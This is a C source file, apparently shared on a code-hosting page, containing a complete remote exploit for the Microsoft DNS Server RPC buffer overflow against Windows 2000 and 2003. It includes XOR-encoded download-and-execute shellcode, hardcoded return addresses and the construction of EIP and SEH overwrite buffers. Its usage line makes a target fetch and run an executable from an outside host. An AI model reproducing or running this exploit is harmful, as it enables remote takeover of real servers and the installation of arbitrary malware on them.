📄 dnsrpc.c
字号:
// DNS RPC vulnerability,by fisheeper@gmail.com
// Windows 2000 all version
// Windows 2003 Chinese sp1&sp2
// Windows 2003 English sp1&sp2
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include "dnsrpc.h"
#include <winsock.h>
#pragma comment(lib,"ws2_32")
#pragma comment(lib,"Rpcrt4.lib")
void __RPC_FAR * __RPC_USER midl_user_allocate(size_t len){ return(malloc(len)); }
void __RPC_USER midl_user_free(void __RPC_FAR * ptr){ free(ptr); }
void Usage(char *argv); // Display help
char *DiscoverPort(char *host, char *uid); // Dynamic search DNS RPC port
void FillPaddedOffset(unsigned char *data, DWORD offset); // Write a DWORD padded with '\'
void Exploit(char *pszNetworkAddress, unsigned char* ID, unsigned char *pszFilePath); // Actually exploit
// Download&exec shellcode
// 26 + 194 + x bytes shellcode, encrypted with 0xA7
unsigned char shellcode[]=
"\xeb\x13\x5b\x4b\x2b\xc9\xb1\xf1\x8a\x14\x19\x80\xf2\xa7\x88\x14"
"\x19\xe2\xf5\xeb\x05\xe8\xe8\xff\xff\xff"
// 194 bytes shellcode, xor with 0xA7
"\x4e\x03\xa7\xa7\xa7\xf8\xc3\x06\x97\xa7\xa7\xa7\x2c\xe7\xab\x2c"
"\xd7\xbb\x0a\x2c\xcf\xaf\x2c\x50\xcd\xa3\xfe\x4f\xe3\xa7\xa7\xa7"
"\x45\x5e\xcf\xc8\xc9\xa7\xa7\xcf\xd2\xd5\xcb\xca\xf3\x58\xb1\x2c"
"\x4f\x4f\x89\xa7\xa7\xa7\x24\x4b\x87\x2c\x7b\xcd\x87\xf4\x58\xf1"
"\xa3\x60\xa3\xa4\xfb\xc6\x89\xc2\x60\xe3\xa4\xa3\xdf\xc2\xa7\xa7"
"\x94\x67\xf7\xf7\xf4\xf0\xf7\x58\xf1\xb7\x2c\x7b\xf7\xf4\x58\xf1"
"\xaf\x58\xf1\xab\xf6\xf1\x2c\xd2\x9b\x2c\xd3\x89\xdf\xa4\x52\xf1"
"\x2c\xd1\x87\xa4\x52\x94\x6e\xee\xe6\x0a\xa4\x62\x94\x7c\xa8\x19"
"\xb7\x9d\x71\xd3\xaf\x66\x6c\xaa\xa4\x7d\xe7\x4c\x56\x9c\xb8\xd2"
"\x40\xf9\x2c\xf9\x83\xa4\x7a\xc1\x2c\xab\xec\x2c\xf9\xbb\xa4\x7a"
"\x2c\xa3\x2c\xa4\x62\x0c\xf9\xfe\x64\x4f\xf0\x58\x58\x58\x29\xe9"
"\xa9\x4b\x66\xde\x42\x1f\x3f\x59\x2d\xa9\x48\x69\x47\xc7\x91\xbd"
"\x88\xd7\xa7\xa7\xa7\xa7\xa7\xa7\xa7\xa7\xa7\xa7\xa7\xa7\xa7\xa7"
"\xa7\xa7\xa7\xa7\xa7\xa7\xa7\xa7\xa7\xa7\xa7\xa7\xa7\xa7\xa7\xa7"
"\xa7\xa7\xa7\xa7\xa7";
// Define a struct for simply filling jmp point
struct _targets {
char *version;
DWORD offset;
} TARGETS[] = {
{ "Win2k Chinese " ,0x7ffa0eb7}, // kernel32.dll "jmp esp" offset
{ "Win2k English " ,0x7c4fedbb}, // kernel32.dll "call esp" offset,from metasploit
{ "Win2k3 Chinese " ,0x769c1a60}, // pop&pop&ret address in ATL modules,Ollydbg searched
{ "Win2k3 English " ,0x76a81a60} // pop&pop&ret address in ATL modules,Ollydbg searched
};
void __cdecl main(int argc, char *argv[])
{
if( argc!=4 || strlen(argv[1])>16 || strlen(argv[3])>35) {
Usage(argv[0]);
}
switch(atoi(argv[2])) {
case 0: break;
case 1: break;
case 2: break;
case 3: break;
default: Usage(argv[0]); break;
}
// Here we exploit the target host, transfer IP and ID and FilePath
Exploit( argv[1], argv[2], argv[3] );
}
///////////////////////////////////////////////////////////////////////////////////////////
// Display help
void Usage(char *argv) {
int i;
printf(" -----------------------------------------------------------------------\n");
printf(" Microsoft Dns Server RPC Exploit \n");
printf(" Download&Exec Shellcode \n");
printf(" Reference: http://www.milw0rm.com/exploits/3746 \n http://pstgroup.blogspot.com/2007/05/exploitdns-rpc.html\n");
printf(" Modified by fisheeper@gmail.com \n");
printf(" -----------------------------------------------------------------------\n\n");
printf(" Usage:\n");
printf(" %s <TargetIP> <TargetID> <FilePath>\n",argv);
printf(" i.e. dnsrpc.exe 192.168.118.129 0 http://192.168.118.128/a.exe\n");
printf(" TargetID:\n");
for(i=0;i<sizeof(TARGETS)/sizeof(struct _targets);i++) {
printf(" %i: %s\n",i,TARGETS[i].version);
}
printf(" Default File Path:\n http://192.168.1.1/a.exe\n");
exit(1);
}
///////////////////////////////////////////////////////////////////////////////////////////
// Dynamic Search DNS RPC port
char *DiscoverPort(char *host, char *uid) {
unsigned char pszStringBinding[256];
UUID uuid;
RPC_EP_INQ_HANDLE context;
RPC_IF_ID id;
RPC_BINDING_HANDLE handle, handle2;
unsigned char * ptr;
unsigned char * ptr2;
unsigned char * ptr3;
//Construct binding
sprintf(pszStringBinding,"ncacn_ip_tcp:%s",host);
if(RpcBindingFromStringBinding(pszStringBinding, &handle) == RPC_S_OK) {
if(RpcMgmtEpEltInqBegin( handle, RPC_C_EP_ALL_ELTS, NULL, 0, &uuid, &context)== RPC_S_OK) {
while (RpcMgmtEpEltInqNext(context, &id, &handle2, &uuid, &ptr) == RPC_S_OK) {
UuidToString(&id.Uuid, &ptr2);
if(strcmp("50abc2a4-574d-40b3-9d66-ee4fd5fba076",ptr2)==0) {
char *p;
RpcBindingToStringBinding(handle2, &ptr3);
p=strchr(ptr3,'[');
if (p) {
RpcStringFree(&ptr2);
p[strlen(p)-1]='\0';
return(p+1);
}
}
RpcStringFree(&ptr2);
if(handle2 != NULL) RpcBindingFree(&handle2);
if(ptr != NULL) RpcStringFree(&ptr);
}
}
}
return(NULL);
}
///////////////////////////////////////////////////////////////////////////////////////////
// Write return Address/DWORD to the buffer
void FillPaddedOffset(unsigned char *data, DWORD offset) {
data[1] =(unsigned char) offset & 0xFF;
data[3] =(unsigned char) (offset >>8 ) & 0xFF;
data[5] =(unsigned char) (offset >> 16 ) & 0xFF;
data[7] =(unsigned char) (offset>> 24 ) & 0xFF;
}
////////////////////////////////////////////////////////////////////////////////////////////
// Actually exploit here
void Exploit(char *pszNetworkAddress, unsigned char* ID, unsigned char *pszFilePath) {
RPC_STATUS status;
unsigned int id;
unsigned int i;
unsigned char * pszUuid = "50abc2a4-574d-40b3-9d66-ee4fd5fba076";
unsigned char * pszProtocolSequence = "ncacn_ip_tcp";
unsigned char * pszEndpoint = NULL;
unsigned char * pszOptions = NULL;
unsigned char * pszStringBinding = NULL;
char szEncryptBuf[MAX_PATH] = "0";
unsigned long ulCode; // RPC return status
id=atoi(ID);
if(!pszFilePath) {
pszFilePath= "http://192.168.1.1/a.exe";
}
// Encrpty file path
lstrcpy(szEncryptBuf, pszFilePath);
for (i=0; i<MAX_PATH; i++) {
if (szEncryptBuf[i] == 0)
{
break;
}
szEncryptBuf[i] ^= 0xA7;
}
memcpy(shellcode + 220, szEncryptBuf, i);
// Dynamic search dns's rpc port
pszEndpoint=DiscoverPort(pszNetworkAddress, pszUuid);
if (!pszEndpoint) {
printf("[-] Unable to find dynamic dns port.\n");
exit(1);
}
//Create an RPC binding string
status = RpcStringBindingCompose((unsigned char *)pszUuid,
(unsigned char *)pszProtocolSequence,
(unsigned char *)pszNetworkAddress,
(unsigned char *)pszEndpoint,
pszOptions,
&pszStringBinding);
if (status==RPC_S_OK) {
//RPC Binding
status = RpcBindingFromStringBinding(pszStringBinding,&dns);
if (status==RPC_S_OK) {
wchar_t *parama=L"VULNERABILITY"; //Rpc call parameter1
unsigned char *paramb=NULL; //Rpc call parameter2 that triggers overflow
unsigned char *paramc="TSTONE"; //Rpc call parameter3
long *paramd=malloc(50); //Rpc call parameter4
long *parame=malloc(50); //rpc call parameter5
int i,j;
if ((id==0)||(id==1)) {
/* Windows 2000 Server exploit.
/*
low address high address
NOP NOP NOP callesp abcdefghijkl shellcode
*/
#define BUFSIZE (0x3A2 +8 +24 +sizeof(shellcode)*2)
// Alloc needed space
paramb=(unsigned char *)malloc(BUFSIZE +1);
// Fill the whole buffer with '\'
memset(paramb,'\\',BUFSIZE);
for(i=0;i<=0x3A2;i+=2) { //0x3A2 chars needed to trigger the overflow
paramb[i+1]='\x90';
}
// Overwrite EIP with selected return address ( 0x7c4fedbb kernel32.dll call esp )
FillPaddedOffset(¶mb[0x3a2],TARGETS[id].offset);
// Pad with 3 DWORDS (our shellcode is at ESP, 12 bytes above)
memcpy(¶mb[0x3a2+8],"\\a\\b\\c\\d\\e\\f\\g\\h\\i\\j\\k\\l",24);
// Set the possition for our shellcode
i=0x3a2+8+24;
// Add the shellcode to the buffer
for(j=0; j<sizeof(shellcode)-1; j++) {
paramb[i+1]=shellcode[j];
i+=2;
}
paramb[BUFSIZE]='\0';
}
else {
/* Windows 2003 Chinese & English sp1 exploit. Overwrite SEH handler.
/*
low address high address
NOP NOP NOP eb 06 90 90 pop/pop/ret shellcode NOP NOP NOP
*/
#undef BUFSIZE
#define BUFSIZE 5000
int i,j;
// Add Pop/Pop/Ret jump address,overflow SEH
#define POPRET 0x661
// define attack buffer and fill with NOP
paramb=malloc(BUFSIZE +1);
memset(paramb,'\\',BUFSIZE);
for(i=0; i< BUFSIZE; i+=2) {
paramb[i+1]='\x90';
}
// Add secondry jump address,jump to high address six bytes, so attend seh high address,and execute
FillPaddedOffset(¶mb[POPRET*2-8],0x909006eb);
// Add ID==1 for Windows 2003 Chinese sp1 &sp2 && ID==2 for Windows 2003 English sp1&sp2
FillPaddedOffset(¶mb[POPRET*2],TARGETS[id].offset);
// Add the Shellcode
i=POPRET*2+8;
for(j=0;j<sizeof(shellcode)-1;j++) {
paramb[i+1]=shellcode[j];
i+=2;
}
paramb[BUFSIZE]='\0';
}
//For test
RpcTryExcept {
// Send the overflow call
DnssrvQuery(parama,paramb,paramc,paramd,parame);
}
RpcExcept(1) {
// Show returned errors from remote DNS server
ulCode = RpcExceptionCode();
switch (ulCode) {
case 1722:printf("[-] Looks like there is no remote dns server...\n"); break;
default:break;
}
}
RpcEndExcept
}
}
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -